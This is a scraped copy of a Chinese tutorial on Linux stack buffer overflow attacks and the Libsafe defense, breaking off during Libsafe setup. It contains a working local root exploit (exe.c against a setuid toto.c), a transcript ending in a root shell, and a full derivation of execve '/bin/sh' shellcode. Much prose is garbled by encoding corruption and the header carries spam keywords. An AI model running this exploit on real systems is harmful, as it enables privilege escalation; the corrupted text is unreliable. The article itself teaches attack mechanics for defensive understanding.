??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲精品资源在线,亚洲国产成人精品无码区在线观看 ,亚洲色欲色欲www在线播放http://www.tkk7.com/RR00/category/5555.html不要埋头苦干Q要学习Q学习,再学习。。。。? <br> powered by <font color='orange'>R.Zeus</font>zh-cnTue, 27 Feb 2007 08:48:54 GMTTue, 27 Feb 2007 08:48:54 GMT60Linux下缓冲区溢出d的原理及对策http://www.tkk7.com/RR00/articles/23405.htmlR.ZeusR.ZeusSun, 11 Dec 2005 16:37:00 GMThttp://www.tkk7.com/RR00/articles/23405.htmlhttp://www.tkk7.com/RR00/comments/23405.htmlhttp://www.tkk7.com/RR00/articles/23405.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/23405.htmlhttp://www.tkk7.com/RR00/services/trackbacks/23405.htmlU别: 初

王勇北京航空航天大学计算机学院系lY件实验室

2003 q?10 ?01 ?/P>

本文首先向读者讲解了Linux下进E地址I间的布局以及q程堆栈帧的l构Q然后在此基上介l了Linux下缓冲区溢出d的原理及对策?/BLOCKQUOTE>

前言

从逻辑上讲q程的堆栈是由多个堆栈构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生Ӟ新的堆栈帧被压入堆栈Q当函数q回Ӟ相应的堆栈从堆栈中弹出。尽堆栈l构的引入ؓ在高U语a中实现函数或q程q样的概忉|供了直接的硬件支持,但是׃函数返回地址q样的重要数据保存在E序员可见的堆栈中,因此也给pȝ安全带来了极大的隐患?/P>

历史上最著名的缓冲区溢出d可能要算?988q?1?日的Morris Worm所携带的攻M码了。这个因特网蠕虫利用了fingerdE序的缓冲区溢出漏洞Q给用户带来了很大危実뀂此后,来多的缓冲区溢出漏洞被发现。从bind、wu-ftpd、telnetd、apache{常用服务程序,到Microsoft、Oracle{Y件厂商提供的应用E序Q都存在着g永远也I补不完的~冲区溢出漏z?/P>

Ҏl盟U技提供的漏z报告,2002q共发现各种操作pȝ和应用程序的漏洞1830个,其中~冲区溢出漏z有432个,占L?3.6%. 而绿盟科技评出?002q严重程度、媄响范围最大的十个安全漏洞中,和缓冲区溢出相关的就?个?/P>

在读者阅L文之前有一炚w要说明,文中所有示例程序的~译q行环境为gcc 2.7.2.3以及bash 1.14.7Q如果读者不清楚自己所使用的编译运行环境可以通过以下命o查看Q?/P>
 
$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specs
gcc version 2.7.2.3
$ rpm -qf /bin/sh
bash-1.14.7-16


如果读者用的是较高版本的gcc或bash的话Q运行文中示例程序的l果可能会与q里l出的结果不相W,具体原因在相应章节中做释?/P>

回页?/B>


Linux下缓冲区溢出d实例

Z引v读者的兴趣Q我们不妨先来看一个Linux下的~冲区溢出攻d例?/P>
 
#include <stdlib.h>
#include <unistd.h>

extern char **environ;

int main(int argc, char **argv)
{
        char large_string[128];
        long *long_ptr = (long *) large_string;
        int i;
        char shellcode[] =
                "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
                "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
                "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";

        for (i = 0; i < 32; i++)
                *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);
        for (i = 0; i < (int) strlen(shellcode); i++)
                large_string[i] = shellcode[i];

        setenv("KIRIKA", large_string, 1);
        execle(argv[1], argv[1], NULL, environ);

        return 0;
}


? dE序exe.c

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
        char buffer[96];

        printf("- %p -\\n", &buffer);
        strcpy(buffer, getenv("KIRIKA"));

        return 0;
}

? d对象toto.c

上面两个程序分别编译ؓ可执行程序,q且toto改ؓ属主为root的setuidE序Q?/P>

$ gcc exe.c -o exe
$ gcc toto.c -o toto
$ su
Password:
# chown root.root toto
# chmod +s toto
# ls -l exe toto
-rwxr-xr-x   	 1 wy       os          	11871 Sep 28 20:20 exe*
-rwsr-sr-x		 1 root     root        	11269 Sep 28 20:20 toto*
# exit


OKQ看看接下来会发生什么。首先别忘了用whoami命o验证一下我们现在的w䆾。其实Linuxl承了UNIX的一个习惯,x通用L命o提示W是?开始的Q而超U用L命o提示W是?开始的?/P>

$ whoami
wy
$ ./exe ./toto 0xbfffffff
- 0xbffffc38 -
Segmentation fault
$ ./exe ./toto 0xbffffc38
- 0xbffffc38 -
bash# whoami
root
bash#

W一ơ一般不会成功,但是我们可以准确得知pȝ的漏z所在―?xbffffc38Q第二次必然一L命。当我们在新创徏的shell下再ơ执行whoami命oӞ我们的n份已l是root了!׃在所有UNIXpȝ下黑客攻ȝ最高目标就是对root权限的追求,因此可以说系l已l被ȝ了?/P>

q里我们模拟了一ơLinux下缓冲区溢出d的典型案例。toto的属MؓrootQƈ且具有setuid属性,通常q种E序是缓冲区溢出的典型攻ȝ标。普通用户wy通过其含有恶意攻M码的E序exe向具有缺Ltoto发动了一ơ缓冲区溢出dQƈ由此获得了系l的root权限。有一炚w要说明的是,如果读者用的是较高版本的bash的话Q即佉K过~冲区溢出攻击exe得到了一个新的shellQ在看到whoami命o的结果后您可能会发现您的权限q没有改变,具体原因我们在本文最后一节做l的解释。不qؓ了一睹ؓ快,您可以先使用本文 代码?/A>中所带的exe_pro.c作ؓdE序Q而不是图1中的exe.c?



回页?/B>


Linux下进E地址I间的布局及堆栈的结?/FONT>

要想了解Linux下缓冲区溢出d的原理,我们必须首先掌握Linux下进E地址I间的布局以及堆栈帧的l构?/P>

M一个程序通常都包括代码段和数据段Q这些代码和数据本n都是静态的。程序要惌行,首先要由操作pȝ负责为其创徏q程Qƈ在进E的虚拟地址I间中ؓ其代码段和数据段建立映射。光有代码段和数据段是不够的Q进E在q行q程中还要有其动态环境,其中最重要的就是堆栈。图3所CZؓLinux下进E的地址I间布局Q?/P>
? Linux下进E地址I间的布局

首先Qexecve(2)会负责ؓq程代码D和数据D徏立映,真正代码段和数据段的内容读入内存是ql的~页异常处理E序按需完成的。另外,execve(2)q会bssD|Ӟq就是ؓ什么未赋初值的全局变量以及static变量其初gؓ零的原因。进E用L间的最高位|是用来存放E序q行时的命o行参数及环境变量的,在这D地址I间的下方和bssD늚上方q留有一个很大的I洞Q而作E动态运行环境的堆栈和堆栖w其中,其中堆栈向下伸展Q堆向上伸展?/P>

知道了堆栈在q程地址I间中的位置Q我们再来看一看堆栈中都存放了什么。相信读者对C语言中的函数q样的概念都已经很熟悉了Q实际上堆栈中存攄是与每个函数对应的堆栈帧。当函数调用发生Ӟ新的堆栈帧被压入堆栈Q当函数q回Ӟ相应的堆栈从堆栈中弹出。典型的堆栈帧结构如?所C?/P>

堆栈帧的剙为函数的实参Q下面是函数的返回地址以及前一个堆栈的指针,最下面是分配给函数的局部变量用的I间。一个堆栈通常都有两个指针Q其中一个称为堆栈指针Q另一个称为栈指针。前者所指向的位|是固定的,而后者所指向的位|在函数的运行过E中可变。因此,在函C讉K实参和局部变量时都是以堆栈指针为基址Q再加上一个偏UR对照图4可知Q实参的偏移为正Q局部变量的偏移?/P>
? 典型的堆栈l构

介绍了堆栈的结构,我们再来看一下在Intel i386体系l构上堆栈是如何实现的。图5和图6分别是一个简单的CE序及其~译后生成的汇编E序?/P>
? 一个简单的CE序example1.c

int function(int a, int b, int c)
{
        char buffer[14];
        int     sum;
        sum = a + b + c;
        return sum;
}

void main()
{
        int     i;
        i = function(1,2,3);
}


? example1.c~译后生成的汇编E序example1.s

1    .file   "example1.c"
2     .version    "01.01"
3 gcc2_compiled.:
4 .text
5     .align 4
6 .globl function
7     .type    function,@function
8 function:
9     pushl %ebp
10     movl %esp,%ebp
11     subl $20,%esp
12     movl 8(%ebp),%eax
13     addl 12(%ebp),%eax
14     movl 16(%ebp),%edx
15     addl %eax,%edx
16     movl %edx,-20(%ebp)
17     movl -20(%ebp),%eax
18     jmp .L1
19     .align 4
20 .L1:
21     leave
22     ret
23 .Lfe1:
24     .size    function,.Lfe1-function
25     .align 4
26 .globl main
27     .type    main,@function
28 main:
29     pushl %ebp
30	movl %esp,%ebp
31     subl $4,%esp
32     pushl $3
33     pushl $2
34     pushl $1
35     call function
36     addl $12,%esp
37     movl %eax,%eax
38     movl %eax,-4(%ebp)
39 .L2:
40     leave
41     ret
42 .Lfe2:
43     .size    main,.Lfe2-main
44     .ident  "GCC: (GNU) 2.7.2.3"

q里我们着重关心一下与函数function对应的堆栈形成和销毁的q程。从?中可以看刎ͼfunction是在main中被调用的,三个实参的值分别ؓ1??。由于C语言中函C参遵循反向压栈顺序,所以在??2?4行三个实参从叛_左依ơ被压入堆栈。接下来35行的call指o除了控制{Udfunction之外Q还要将call的下一条指令addl的地址Q也是function函数的返回地址压入堆栈。下面就q入function函数了,首先在第9行将main函数的堆栈指针ebp保存在堆栈中q在W?0行将当前的栈指针esp保存在堆栈指针ebp中,最后在W?1行ؓfunction函数的局部变量buffer[14]和sum在堆栈中分配I间。至此,函数function的堆栈ឮ构建完成了Q其l构如图7所C?/P>
? 函数function的堆栈

读者不妨回q头M?Ҏ一下。这里有几点需要说明。首先,在Intel i386体系l构下,堆栈帧指针的角色是由ebp扮演的,而栈指针的角色是由esp扮演的。另外,函数function的局部变量buffer[14]?4个字W组成,其大按说应?4字节Q但是在堆栈帧中却ؓ其分配了16个字节。这是时间效率和I间效率之间的一U折P因ؓIntel i386?2位的处理器,其每ơ内存访问都必须?字节寚w的,而高30位地址相同?个字节就构成了一个机器字。因此,如果Z填补buffer[14]留下的两个字节而将sum分配在两个不同的机器字中Q那么每ơ访问sum需要两ơ内存操作,q显然是无法接受的。还有一炚w要说明的是,正如我们在本文前a中所指出的,如果读者用的是较高版本的gcc的话Q您所看到的函数function对应的堆栈可能和图7所C有所不同。上面已l讲q,为函数function的局部变量buffer[14]和sum在堆栈中分配I间是通过在图6中第11行对espq行减法操作完成的,而sub指o中的20正是q里两个局部变量所需的存储空间大。但是在较高版本的gcc中,sub指o中出现的数字可能不是20Q而是一个更大的数字。应该说q与优化~译技术有养I在较高版本的gcc中ؓ了有效运用目前流行的各种优化~译技术,通常需要在每个函数的堆栈中留Z定额外的I间?/P>

下面我们再来看一下在函数function中是如何a、b、c的和赋给sum的。前面已l提q,在函C讉K实参和局部变量时都是以堆栈指针为基址Q再加上一个偏U,而Intel i386体系l构下的堆栈帧指针就是ebpQؓ了清楚v见,我们在图7中标Z堆栈帧中所有成分相对于堆栈帧指针ebp的偏UR这下图6?2?6的计就一目了然了Q?(%ebp)?2(%ebp)?6(%ebp)?20(%ebp)分别是实参a、b、c和局部变量sum的地址Q几个简单的add指o和mov指o执行后sum中便是a、b、c三者之和了。另外,在gcc~译生成的汇~程序中函数的返回结果是通过eax传递的Q因此在?中第17行将sum的值拷贝到eax中?/P>

最后,我们再来看一下函数function执行完之后与其对应的堆栈帧是如何弹出堆栈的。图6中第21行的leave指o堆栈指针ebp拯到esp中,于是在堆栈中ؓ局部变量buffer[14]和sum分配的空间就被释放了Q除此之外,leave指oq有一个功能,是从堆栈中弹出一个机器字q将其存攑ֈebp中,q样ebpp恢复为main函数的堆栈指针了。第22行的ret指o再次从堆栈中弹出一个机器字q将其存攑ֈ指o指针eip中,q样控制p回到了第36行main函数中的addl指o处。addl指o栈指针esp加上12Q于是当初调用函数function之前压入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此,函数function的堆栈ឮp完全销毁了。前面刚刚提到过Q在gcc~译生成的汇~程序中通过eax传递函数的q回l果Q因此图6中第38行将函数function的返回结果保存在了main函数的局部变量i中?/P>

回页?/B>


Linux下缓冲区溢出d的原?/FONT>

明白了Linux下进E地址I间的布局以及堆栈帧的l构Q我们再来看一个有的例子?/P>
? 一个奇妙的E序example2.c

1 int function(int a, int b, int c) {
2     char buffer[14];
3     int sum;
4     int *ret;
5
6     ret = buffer + 20;
7     (*ret) += 10;
8     sum = a + b + c;
9     return sum;
10 }
11
12 void main() {
13     int x;
14
15     x = 0;
16     function(1,2,3);
17     x = 1;
18     printf("%d\\n",x);
19 }

在main函数中,局部变量x的初值首先被赋ؓ0Q然后调用与x毫无关系的function函数Q最后将x的值改?q打印出来。结果是多少呢,如果我告诉你?你相信吗Q闲话少_q是赶快来看看函数function都动了哪些手脚吧。这里的function函数与图5中的function相比只是多了一个指针变量ret以及两条对retq行操作的语句,是它们使得main函数最后打印的l果变成?。对照图7可知Q地址buffer + 20处保存的正是函数function的返回地址Q第7行的语句函数function的返回地址加了10。这样会辑ֈ什么效果呢Q看一下main函数对应的汇~程序就一目了然了?/P>
? example2.c中main函数对应的汇~程?/B>

$ gdb example2
(gdb) disassemble main
Dump of assembler code for function main:
0x804832c <main>:       push   %ebp
0x804832d <main+1>:     mov    %esp,%ebp
0x804832f <main+3>:     sub    $0x4,%esp
0x8048332 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
0x8048339 <main+13>:    push   $0x3
0x804833b <main+15>:    push   $0x2
0x804833d <main+17>:    push   $0x1
0x804833f <main+19>:    call   0x80482f8 <function>
0x8048344 <main+24>:    add    $0xc,%esp
0x8048347 <main+27>:    movl   $0x1,0xfffffffc(%ebp)
0x804834e <main+34>:    mov    0xfffffffc(%ebp),%eax
0x8048351 <main+37>:    push   %eax
0x8048352 <main+38>:    push   $0x80483b8
0x8048357 <main+43>:    call   0x8048284 <printf>
0x804835c <main+48>:    add    $0x8,%esp
0x804835f <main+51>:    leave
0x8048360 <main+52>:    ret
0x8048361 <main+53>:    lea    0x0(%esi),%esi
End of assembler dump.

地址?x804833f的call指o会将0x8048344压入堆栈作ؓ函数function的返回地址Q而图8中第7行语句的作用是?x8048344?0从而变成了0x804834e。这么一改当函数functionq回时地址?x8048347的mov指op跌了,而这条mov指o的作用正是用来将x的值改?。既然x的值没有改变,我们打印看到的结果就必然是其初?了?/P>

当然Q图8所C只是一个示例性的E序Q通过修改保存在堆栈中的函数的返回地址Q我们改变了E序正常的控制流。图8中程序的q行l果可能会很多读者感到新奇,但是如果函数的返回地址被修改ؓ指向一D늲心安排好的恶意代码,那时你又会做何感惛_Q缓冲区溢出d正是利用了在某些体系l构下函数的q回地址被保存在E序员可见的堆栈中这一~陷Q修改函数的q回地址Q得一D늲心安排好的恶意代码在函数q回时得以执行,从而达到危害系l安全的目的?/P>

说到~冲区溢出就不能不提shellcodeQshellcode读者已l在?中见q了Q其作用是生成一个shell。下面我们就来一步步看一下这Do人眼q݋qE序是如何得来的。首先要说明一下,Linux下的pȝ调用都是通过int $0x80中断实现的。在调用int $0x80之前Qeax中保存了pȝ调用P而系l调用的参数则保存在其它寄存器中。图10所C是直接利用pȝ调用实现的Hello WorldE序?/P>
?0 直接利用pȝ调用实现的Hello WorldE序hello.c

#include <asm/unistd.h>

int errno;

_syscall3(int, write, int, fd, char *, data, int, len);

_syscall1(int, exit, int, status);

_start()
{
            write(0, "Hello world!\\n", 13);
            exit(0);
}

其~译链接生成可执行程序helloQ?/P>

$ gcc -c hello.c
$ ld hello.o -o hello
$ ./hello
Hello world!
$ ls -l hello
-rwxr-xr-x    1 wy       os           1188 Sep 29 17:31 hello*


有兴的读者可以将q个hello的大和我们当初在第一节C语言课上学过的Hello WorldE序的大比较一下,看看能不能用C语言写出更小的Hello WorldE序。图10中的_syscall3和_syscall1都是定义?usr/include/asm/unistd.h中的宏,该文件中定义了以__NR_开头的各种pȝ调用的所对应的系l调用号以及_syscall0到_syscall6六个宏,分别用于参数个数??的系l调用。由此可知,Linuxpȝ中系l调用所允许的最大参C数就?个,比如mmap(2)。另外,仔细阅读syscall0到_syscall6六个宏的定义不难发现Q系l调用号是存攑֜寄存器eax中的Q而系l调用可能会用到?个参Cơ存攑֜寄存器ebx、ecx、edx、esi、edi和ebp中?/P>

清楚了系l调用的使用规则Q我先来看一下如何在Linux下生成一个shell。应该说q是非常单的dQ用execve(2)pȝ调用卛_Q如?1所C?/P>
?1 shellcode.c在Linux下生成一个shell

#include <unistd.h>

int main()
{
        char *name[2];

        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
        _exit(0);
}

在shellcode.c中一qC两个pȝ调用Q分别是execve(2)和_exit(2)。查?usr/include/asm/unistd.h文g可以得知Q与其相应的pȝ调用号__NR_execve和__NR_exit分别?1?。按照前面刚刚讲q的pȝ调用规则Q在Linux下生成一个shellq结束退出需要以下步骤:

  • 在内存中存放一个以'\\0'l束的字W串"/bin/sh"Q?
  • 字W串"/bin/sh"的地址保存在内存中的某个机器字中,q且后面紧接一个gؓ0的机器字Q这里相当于讄好了?1中name[2]中的两个指针Q?
  • execve(2)的系l调用号11装入eax寄存器;
  • 字W串"/bin/sh"的地址装入ebx寄存器;
  • 第2步中讑֥的字W串"/bin/sh"的地址的地址装入ecx寄存器;
  • 第2步中讑֥的gؓ0的机器字的地址装入edx寄存器;
  • 执行int $0x80Q这里相当于调用execve(2)Q?
  • _exit(2)的系l调用号1装入eax寄存器;
  • 退出码0装入ebx寄存器;
  • 执行int $0x80Q这里相当于调用_exit(2)?

于是我们得C?2所C的汇编E序?/P>
?2 使用execve(2)和_exit(2)pȝ调用生成shell的汇~程序shellcodeasm.c
 
1 void main()
2 {
3		__asm__("
4				jmp     1f
5		2:		popl    %esi
6				movl    %esi,0x8(%esi)
7				movb    $0x0,0x7(%esi)
8				movl    $0x0,0xc(%esi)
9				movl    $0xb,%eax
10				movl    %esi,%ebx
11				leal    0x8(%esi),%ecx
12				leal    0xc(%esi),%edx
13				int     $0x80
14				movl    $0x1, %eax
15				movl    $0x0, %ebx
16				int     $0x80
17		1:		call    2b
18				.string \\"/bin/sh\\"
19		");
20 }

q里W?行的jmp指o和第17行的call指o使用的都是IP相对d方式Q第14行至W?6行对应于_exit(2)pȝ调用Q由于它比较单,我们着重看一下调用execve(2)的过E。首先第4行的jmp指o执行之后控制p{Ud了第17行的call指o处,在call指o的执行过E中除了控制{UdW?行的pop指o外,q会其下一条指令的地址压入堆栈。然而由?2可知Qcall指o后面q没有后l的指oQ而是存放了字W串"/bin/sh"Q于是实际被压入堆栈的便成了字符?/bin/sh"的地址。第5行的pop指o刚刚压入堆栈的字符串地址弹出到esi寄存器中。接下来的三条指令首先将esi中的字符串地址保存在字W串"/bin/sh"之后的机器字中,然后又在字符?/bin/sh"的结补了个'\\0'Q最后将0写入内存中合适的位置。第9行至W?2行按?3所C正设|好了寄存器eax、ebx、ecx和edx的|在第13行就可以调用execve(2)了。但是在~译shellcodeasm.c之后Q你会发现程序无法运行。原因就在于?3中所C的所有数据都存放在代码段中,而在Linux下存放代码的面是不可写的,于是当我们试图用图12中第6行的mov指oq行写操作时Q页面异常处理程序会向运行我们程序的q程发送一个SIGSEGV信号Q这h们的l端上便会出现Segmentation fault的提CZ息?/P>
?3调用execve(2)之前各寄存器的设|?/B>

解决的办法很单,既然不能对代码段q行写操作,我们把?2中的代码挪到可写的数据段或堆栈段中。可是一D可执行的代码在数据D中应该怎么表示呢?其实Q内存中存放着的无非是0?q样的比特,当我们的E序其用作代码时这些比特就成了代码Q而当我们的程序将其用作数据时q些比特又成了数据。我们先来看一下图12中的代码在内存中是如何存攄Q通过gdb中的x命o可以很容易的做到q一点,如图14所C?/P>
?4 通过gdb中的x命o查看?2中的代码在内存中对应的数?/B>

$ gdb shellcodeasm
(gdb) disassemble main
Dump of assembler code for function main:
0x80482c4 <main>:       push   %ebp
0x80482c5 <main+1>:     mov    %esp,%ebp
0x80482c7 <main+3>:     jmp    0x80482f3 <main+47>
0x80482c9 <main+5>:     pop    %esi
0x80482ca <main+6>:     mov    %esi,0x8(%esi)
0x80482cd <main+9>:     movb   $0x0,0x7(%esi)
0x80482d1 <main+13>:    movl   $0x0,0xc(%esi)
0x80482d8 <main+20>:    mov    $0xb,%eax
0x80482dd <main+25>:    mov    %esi,%ebx
0x80482df <main+27>:    lea    0x8(%esi),%ecx
0x80482e2 <main+30>:    lea    0xc(%esi),%edx
0x80482e5 <main+33>:    int    $0x80
0x80482e7 <main+35>:    mov    $0x1,%eax
0x80482ec <main+40>:    mov    $0x0,%ebx
0x80482f1 <main+45>:    int    $0x80
0x80482f3 <main+47>:    call   0x80482c9 <main+5>
0x80482f8 <main+52>:    das
0x80482f9 <main+53>:    bound  %ebp,0x6e(%ecx)
0x80482fc <main+56>:    das
0x80482fd <main+57>:    jae    0x8048367
0x80482ff <main+59>:    add    %cl,%cl
0x8048301 <main+61>:    ret
0x8048302 <main+62>:    mov    %esi,%esi
End of assembler dump.
(gdb) x /49xb 0x80482c7
0x80482c7 <main+3>:		0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc6 0x46
0x80482cf <main+11>:		0x07 0x00 0xc7 0x46 0x0c 0x00 0x00 0x00
0x80482d7 <main+19>:		0x00 0xb8 0x0b 0x00 0x00 0x00 0x89 0xf3
0x80482df <main+27>:		0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x80
0x80482e7 <main+35>:		0xb8 0x01 0x00 0x00 0x00 0xbb 0x00 0x00
0x80482ef <main+43>:		0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff 0xff
0x80482f7 <main+51>:		0xff



从jmp指o的v始地址0x80482c7到call指o的结束地址0x80482f8Q一?9个字节。v始地址?x80482f8?个字节的内存单元中实际存攄是字W串"/bin/sh"Q因此我们在那里看到了几条奇怪的指o。至此,我们的shellcode已经初具雏Ş了,但是q有几处需要改q。首先,来我们要通过strcpy(3)q种存在安全隐患的函数将上面的代码拷贝到某个内存~冲ZQ而strcpy(3)在遇到内容ؓ'\\0'的字节时׃停止拯。然而从?4中可以看刎ͼ我们的代码中有很多这L'\\0'字节Q因此需要将它们全部L。另外,某些指o的长度可以羃减,以得我们的shellcode更加_。按照图15所列的改进ҎQ我们便得到了图16中最l的shellcode?/P>
?5 shellcode的改q方?/B>

存在问题的指?         改进后的指o
movb $0x0,0x7(%esi)     xorl %eax,%eax
molv $0x0,0xc(%esi)     movb %eax,0x7(%esi)
                        movl %eax,0xc(%esi)

movl $0xb,%eax          movb $0xb,%al

movl $0x1, %eax         xorl %ebx,%ebx
movl $0x0, %ebx         movl %ebx,%eax
                        inc %eax


?6 最l的shellcode汇编E序shellcodeasm2.c

void main()
{
	__asm__("
			jmp     1f
	2:		popl    %esi
			movl    %esi,0x8(%esi)
			xorl    %eax,%eax
			movb    %eax,0x7(%esi)
			movl    %eax,0xc(%esi)
			movb    $0xb,%al
			movl    %esi,%ebx
			leal    0x8(%esi),%ecx
			leal    0xc(%esi),%edx
			int     $0x80
			xorl    %ebx,%ebx
			movl    %ebx,%eax
			inc     %eax
			int     $0x80
	1:		call    2b
			.string \\"/bin/sh\\"
	");
}

同样Q按照上面的Ҏ再次查看内存中的shellcode代码Q如?6所C。我们在?6中再ơ列Z? 用到q的shellcodeQ有兴趣的读者不妨比较一下?/P>
?7 shellcode的来?/B>

$ gdb shellcodeasm2
(gdb) disassemble main
Dump of assembler code for function main:
0x80482c4 <main>:       push   %ebp
0x80482c5 <main+1>:     mov    %esp,%ebp
0x80482c7 <main+3>:     jmp    0x80482e8 <main+36>
0x80482c9 <main+5>:     pop    %esi
0x80482ca <main+6>:     mov    %esi,0x8(%esi)
0x80482cd <main+9>:     xor    %eax,%eax
0x80482cf <main+11>:    mov    %al,0x7(%esi)
0x80482d2 <main+14>:    mov    %eax,0xc(%esi)
0x80482d5 <main+17>:    mov    $0xb,%al
0x80482d7 <main+19>:    mov    %esi,%ebx
0x80482d9 <main+21>:    lea    0x8(%esi),%ecx
0x80482dc <main+24>:    lea    0xc(%esi),%edx
0x80482df <main+27>:    int    $0x80
0x80482e1 <main+29>:    xor    %ebx,%ebx
0x80482e3 <main+31>:    mov    %ebx,%eax
0x80482e5 <main+33>:    inc    %eax
0x80482e6 <main+34>:    int    $0x80
0x80482e8 <main+36>:    call   0x80482c9 <main+5>
0x80482ed <main+41>:    das
0x80482ee <main+42>:    bound  %ebp,0x6e(%ecx)
0x80482f1 <main+45>:    das
0x80482f2 <main+46>:    jae    0x804835c
0x80482f4 <main+48>:    add    %cl,%cl
0x80482f6 <main+50>:    ret
0x80482f7 <main+51>:    nop
End of assembler dump.
(gdb) x /38xb 0x80482c7
0x80482c7 <main+3>:		0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc0
0x80482cf <main+11>:		0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b
0x80482d7 <main+19>:		0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c
0x80482df <main+27>:		0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd
0x80482e7 <main+35>:		0x80 0xe8 0xdc 0xff 0xff 0xff

char shellcode[] =
"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";


我猜当你看到q里时一定也像我当初一样已l热血沸腾、迫不及待了吧?那就赶快来试一下吧?/P>
?8 通过E序testsc.c验证我们的shellcode

char shellcode[] =
        "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
        "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
        "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";

void main()
{
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}

testsc.c~译成可执行E序Q再q行testsc可以看到shell了!


$ gcc testsc.c -o testsc
$ ./testsc
bash$

?9描绘了testsc.cE序所作的一切,怿有了前面那么长的铺垫Q读者在看到?9时应该已l没有困难了?/P>
?9 E序testsc.c的控制流E?/B>

下面我们该回头看看本文开头的那个Linux下缓冲区溢出d实例了。攻ȝ序exe.c利用了系l中存在漏洞的程序toto.cQ通过以下步骤向系l发动了一ơ缓冲区溢出dQ?/P>

  • 通过命o行参数argv[2]得到toto.cE序中缓冲区buffer[96]的地址Qƈ该地址填充到large_string[128]中;
  • 我们已l准备好的shellcode拯到large_string[128]的开_
  • 通过环境变量KIRIKA我们的shellcode注射到buffer[96]中;
  • 当toto.cE序中的main函数q回Ӟbuffer[96]中的shellcode得以q行Q由于toto的属MؓrootQƈ且具有setuid属性,因此我们得到的shell便具有了root权限?

E序exe.c的控制流E与?9所C程序testsc.c的控制流E非常相|唯一的不同在于这ơ我们的shellcode是寄宿在totoq行时的堆栈里,而不是在数据D中。之所以不能再shellcode攑֜数据D中是因为当我们在程序exe.c中调用execle(3) q行totoӞq程整个地址I间的映会ҎtotoE序头部的描qC息重新设|,而原来的地址I间中数据段的内容已l不能再讉K了,因此在程序exe.c中shellcode是通过环境变量来传递的?/P>

怎么P是不是感觉传说中的黑客不再像你想象的那样秘了?暂时不要妄下l论Q在上面的缓冲区溢出d实例中,dE序exe之所以能够准的shellcode注射到toto的buffer[96]中,关键在于我们在totoE序中打印出了buffer[96]在堆栈中的v始地址。当Ӟ在实际的pȝ中,不要指望有像totoq样家有丑事q自揭疮疤的事情发生?/P>

回页?/B>


Linux下防御缓冲区溢出d的对{?/FONT>

了解了缓冲区溢出d的原理,接下来要做的昄是要找出克敌之道。这里,我们主要介绍一U非常简单但是又比较行的方法――Libsafe?/P>

在标准C库中存在着很多像strcpy(3)q种用于处理字符串的函数Q它们将一个字W串拯到另一个字W串中。对于何时停止拷贝,q些函数通常只有一个判断标准,x否遇上了'\\0'字符。然而这个唯一的标准显然是不够的。我们在上一节刚刚分析过的Linux下缓冲区溢出d实例正是利用strcpy(3)对系l实施了dQ而strcpy(3)的缺陷就在于在拷贝字W串时没有将目的字符串的大小q一因素考虑q来。像q样的函数还有很多,比如strcat、gets、scanf、sprintf{等。统计数据表明,在已l发现的~冲区溢出攻L例中Q肇事者多是这些函数。正是基于上qC实,Avaya实验室推ZLibsafe?/P>

在现在的Linuxpȝ中,E序链接时所使用的大多都是动态链接库。动态链接库本n具有很多优点,比如在库升之后Q系l中原有的程序既不需要重新编译也不需要重新链接就可以使用升后的动态链接库l箋q行。除此之外,Linuxqؓ动态链接库的用提供了很多灉|的手D,而预?preload)机制是其中之一。在Linux下,预蝲机制是通过环境变量LD_PRELOAD的设|提供的。简单来_如果pȝ中有多个不同的动态链接库都实C同一个函敎ͼ那么在链接时优先使用环境变量LD_PRELOAD中设|的动态链接库。这样一来,我们可以利用Linux提供的预载机制将上面提到的那些存在安全隐患的函数替换掉,而Libsafe正是Zq一思想实现的?/P>

?0所C的testlibsafe.c是一D非常简单的E序Q字W串buf2[16]中首先被写满?A'Q然后再通过strcpy(3)其拯到buf1[8]中。由于buf2[16]比buf1[8]要大Q显然会发生~冲区溢出,而且很容易想刎ͼ׃'A'的二q制表示?x41Q所以main函数的返回地址被改Z0x41414141。这样当mainq回时就会发生Segmentation fault?/P>
?0 试Libsafe

#include <string.h>

void main()
{
        char    buf1[8];
        char    buf2[16];
        int     i;

        for (i = 0; i < 16; ++i)
                buf2[i] = 'A';
        strcpy(buf1, buf2);
}


$ gcc testlibsafe.c -o testlibsafe
$ ./testlibsafe
Segmentation fault (core dumped)


下面我们来看一看Libsafe是如何保护我们免遭缓冲区溢出d的。首先,在系l中安装LibsafeQ本文的附g中提供了?.0版的安装包?/P>

$ su
Password:
# rpm -ivh libsafe-2.0-2.i386.rpm
libsafe		##################################################
# exit



x安装q没有结束,接下来还要正设|环境变量LD_PRELOAD?/P>

